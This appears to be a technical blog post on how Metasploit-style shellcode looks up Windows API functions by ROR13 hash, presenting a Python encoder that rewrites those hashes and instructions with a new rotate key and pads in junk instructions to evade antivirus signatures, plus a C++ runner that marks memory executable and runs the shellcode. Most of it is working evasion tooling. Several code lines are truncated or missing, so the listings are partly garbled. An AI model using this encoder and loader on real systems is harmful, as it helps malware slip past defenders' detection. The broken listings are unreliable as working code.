Function Name Hashing

Shellcode often parses the Export Address Table of modules to determine the addresses of functions to be called, in a similar manner to how I’ve described here.

Metasploit, and similar systems that produce shellcode often lookup function names by hash value. The primary benefit of doing this is it reduces the size of the shellcode.

However, since these hash values are fixed, they are often targeted by Anti-Virus vendors. This article will look at how we go about changing these values to evade signature based detection.


Metasploit and CobaltStrike use ROR13 instructions to calculate a hash of functions that are imported. Rotate Right (ROR) is a assembly instruction that shifts all binary numbers to the right by a certain number of positions.

We can see the effect of a ROR instruction using WinDbg. In the below example, the r9d register is rotated to the right twice.

00000220`4af50038 41c1c902        ror     r9d,2
0:000> .formats @r9d
Evaluate expression:
  Hex:     00000000`80000014
  Decimal: 2147483668
  Decimal (unsigned) : 2147483668
  Octal:   0000000000020000000024
  Binary:  00000000 00000000 00000000 00000000 10000000 00000000 00000000 00010100
  Chars:   ........
  Time:    ***** Invalid
  Float:   low -2.8026e-044 high 0
  Double:  1.061e-314
0:000> p

0:000> .formats @r9d
Evaluate expression:
  Hex:     00000000`20000005
  Decimal: 536870917
  Decimal (unsigned) : 536870917
  Octal:   0000000000004000000005
  Binary:  00000000 00000000 00000000 00000000 00100000 00000000 00000000 00000101
  Chars:   .... ...
  Time:    Mon Jan  5 18:48:37 1987
  Float:   low 1.0842e-019 high 0
  Double:  2.65249e-315

Python ROR13 Hash Calculation

The same algorithm used by Metasploit can be implemented in Python to determine the hash values.
# (dword >> bits) shifts the bits of dword to the right by bits positions.
# (dword << (32 - bits)) shifts the bits of dword to the left by 32 - bits positions.
# | performs a bitwise OR operation between the two shifted values, effectively combining the results of the right and left shifts.
# The result might be more than 32 bits long after the left shift, so using & 0xFFFFFFFF masks the result to ensure it fits within a 32-bit unsigned integer.
def ror(dword, bits):
    return (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF

def unicode(string, uppercase=True):
    # Module name is converted to unicode
    if uppercase:
        string = string.upper()
    result = '\x00'.join(string) + '\x00'
    return result

def calculate_hash(module, function, bits):
    module_hash = 0
    function_hash = 0
    for c in unicode(module + '\x00'):
        module_hash = ror(module_hash, bits)
        module_hash += ord(c)
    for c in function + '\x00':
        function_hash = ror(function_hash, bits)
        function_hash += ord(c)

    print('[+] Module Hash: 0x%08X ' % (module_hash))
    print('[+] Function Hash: 0x%08X ' % (function_hash))
    hash = module_hash + function_hash & 0xFFFFFFFF
    return hash

def main():
    module = "Kernel32.dll"
    function = "WinExec"
    hash = calculate_hash(module, function, 13)
    print('[+] Final Hash: 0x%08X ' % (hash))

if __name__ == "__main__":

This should print out the hash for WinExec;

[+] Module Hash: 0x92AF16DA
[+] Function Hash: 0xF4C07457
[+] Final Hash: 0x876F8B31

Modifying Existing Shellcode

The below code carries out the following steps;

  • Uses pefile to list exported functions from a number of common DLL’s
  • Generates ROR13 hashes based on these exported functions
  • Scans supplied Shellcode for these values
  • Replaces existing ROR hash values with hashes using a different key length (e.g, rotate X number of times) using a ROL operation

Obviously this code needs to be run on Windows to extract the function names from DLL’s!

import pefile
import os
from capstone import *
import argparse

hash_dict = dict()

def lookup_functions(dll_path):
    pe = pefile.PE(dll_path)
    for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
            function_name =
            dll_name = os.path.basename(dll_path)
            hash = calculate_hash(dll_name, function_name, 13, "ror")
            hash_dict[hash] = dll_name + '!' + function_name

def ror(dword, bits):
    return ((dword >> (bits%32)) | (dword << (32-(bits%32)))) & 0xffffffff

def rol(dword, bits):
    return ((dword << (bits%32)) | (dword >> (32-(bits%32)))) & 0xffffffff

def unicode(string, uppercase=True):
    result = ''
    if uppercase:
        string = string.upper()
    for c in string:
        result += c + '\x00'
    return result

def calculate_hash(module, function, bits, hash_type):
    module_hash = 0
    function_hash = 0
    for c in unicode(module + '\x00'):
        if hash_type == "ror":
            module_hash = ror(module_hash, bits)
        if hash_type == "rol":
            module_hash = rol(module_hash, bits)
        module_hash += ord(c)
    for c in function + '\x00':
        if hash_type == "ror":
            function_hash = ror(function_hash, bits)
        if hash_type == "rol":
            function_hash = rol(function_hash, bits)
        function_hash += ord(c)
    hash = module_hash + function_hash & 0xFFFFFFFF
    return hash

def check_shellcode(shellcode, pattern):
    byte_data = pattern.to_bytes(4, 'big')
    reversed_bytes = byte_data[::-1]
    index = shellcode.find(reversed_bytes)
    return index

def replace_bytes_at_offset(data, offset, new_bytes):
    data = bytearray(data)
    end_offset = offset + len(new_bytes)
    data[offset:end_offset] = new_bytes
    return bytes(data)

def highlight_byte_changes(original_bytes, modified_bytes):
    highlighted = []
    for original, modified in zip(original_bytes, modified_bytes):
        if original == modified:
            highlighted.append(f"\\x{original:02X} -> \\x{modified:02X}")
    return "".join(highlighted)

def find_ror_instructions(data, search_bytes):
    occurrences = []
    index = 0
    while True:
            index = data.index(search_bytes, index)
            index += 1
        except ValueError:
    return occurrences

def process_shellcode(shellcode,my_key):
    new_shellcode = shellcode

    for key,value in hash_dict.items():
        index = check_shellcode(shellcode, key)
        if index != -1:
            print('[+] 0x%08X = %s offset: %s' % (key, value, index))
            dll_name = value.split('!')[0]
            function_name = value.split('!')[1]
            hash = calculate_hash(dll_name, function_name, my_key, "rol")
            print('[+] New value: 0x%08X' % (hash))
            byte_data = hash.to_bytes(4, 'big')
            reversed_bytes = byte_data[::-1]
            new_shellcode = replace_bytes_at_offset(new_shellcode, index, reversed_bytes)
            hex_string = ''.join('\\x{:02X}'.format(byte) for byte in new_shellcode)

    print("[+] Changing ROR key")
    # \x41\xC1\xC9\x0D   ror  r9d,0xd   
    ror_instances = find_ror_instructions(new_shellcode,b"\x41\xC1\xC9\x0D")
    for ror_offset in ror_instances:
        bytes_key = my_key.to_bytes(1, 'big')
        # We're replacing the ROR with a ROL here. ROR = \x41\xC1\xC9  ROL = \x41\xC1\xC1\
        new_shellcode = replace_bytes_at_offset(new_shellcode, ror_offset, b"\x41\xC1\xC1" + bytes_key)
    return new_shellcode

def main():
    parser = argparse.ArgumentParser(description='Process shellcode.')
    parser.add_argument('--shellcode', help='Filename containing raw shellcode')
    parser.add_argument('--key', type=int, help='ROR key to be used')
    parser.add_argument('--decompile', action='store_true', help='Show the resulting modified shellcode')

    args = parser.parse_args()
    file_path = args.shellcode
    my_key = args.key
    decompile = args.decompile

    if (my_key < 32) or (my_key > 255):
        print("[+] Key must be between 33 and 255")

    if file_path and my_key:
        print(f"[+] Encoding shellcode {file_path} using ROR key: {my_key}")
        print("[+] Please provide both --shellcode and --key arguments.")

    # Populate hash_dict global variable
    dll_paths = ['C:\\Windows\\System32\\kernel32.dll', 
    for dll in dll_paths:

    # Read existing shellcode
    print("[+] Reading shellcode")
        with open(file_path, "rb") as file:
            shellcode =
    except FileNotFoundError:
        print("File not found or cannot be opened.")

    new_shellcode = process_shellcode(shellcode,my_key)

    # Add some NOP's
    position = 1
    bytes_to_insert = b"\xFF\xC0\xFF\xC8" * 5  # INC EAX, DEC EAX
    modified_shellcode = new_shellcode[:position] + bytes_to_insert + new_shellcode[position:]

    # print("[+] Modifications")
    # highlighted_changes = highlight_byte_changes(shellcode, modified_shellcode)
    # print(highlighted_changes)

    print("Shellcode size: " + str(len(modified_shellcode)))

    print("[+] Final shellcode (C++)")
    hex_string = ''.join('\\x{:02X}'.format(byte) for byte in modified_shellcode)

    print("[+] Final shellcode (C#)")
    hex_string = ''.join('0x{:02X},'.format(byte) for byte in modified_shellcode)

    outputfile = "output.bin"
    print("[+] Writing bytes to file: " + outputfile)
    with open(outputfile, 'wb') as file:

    if (decompile == True):
        print("[+] ASM Code")
        md = Cs(CS_ARCH_X86, CS_MODE_64)
        for i in md.disasm(modified_shellcode, 0x1000):
            print("0x%x:\t%s\t%s\t%s" %(i.address, ' '.join('{:02x}'.format(x) for x in i.bytes), i.mnemonic, i.op_str))

if __name__ == "__main__":

Running the Encoder

Executing the code, we can see the existing ROR13 values are identified and replaced with ROL33 values.

python --shellcode calc.raw --key 33
[+] Encoding shellcode calc.raw using ROR key: 33
[+] Reading shellcode
[+] 0x56A2B5F0 = kernel32.dll!ExitProcess offset: 229
[+] New value: 0xC5EE264A
[+] 0x9DBD95A6 = kernel32.dll!GetVersion offset: 235
[+] New value: 0xC5EB3370
[+] 0x876F8B31 = kernel32.dll!WinExec offset: 222
[+] New value: 0xC5E8D7CA
[+] Changing ROR key
Shellcode size: 296
[+] Final shellcode (C++)
[+] Final shellcode (C#)
[+] Writing bytes to file: output.bin

The resulting shellcode can then be imported into a runner;

#include <Windows.h>
#include <iostream>

unsigned char code[] = 

int main()
    HANDLE buffer = VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(buffer, code, sizeof(code));

    DWORD oldProtect;
    VirtualProtect(buffer,sizeof(code),PAGE_EXECUTE_READ, &oldProtect);

    (*(void(*)()) buffer)();


In Conclusion

Carrying out this slight modification can greatly reduce the shellcodes detection rates. Alternative instructions could be implemented, instead of using a ROR/ROL value. You would just need to ensure the new instructions do not generate hash collisions. To extend the concept further, you could implement bespoke PEB traversal code and attach that to the existing shellcode.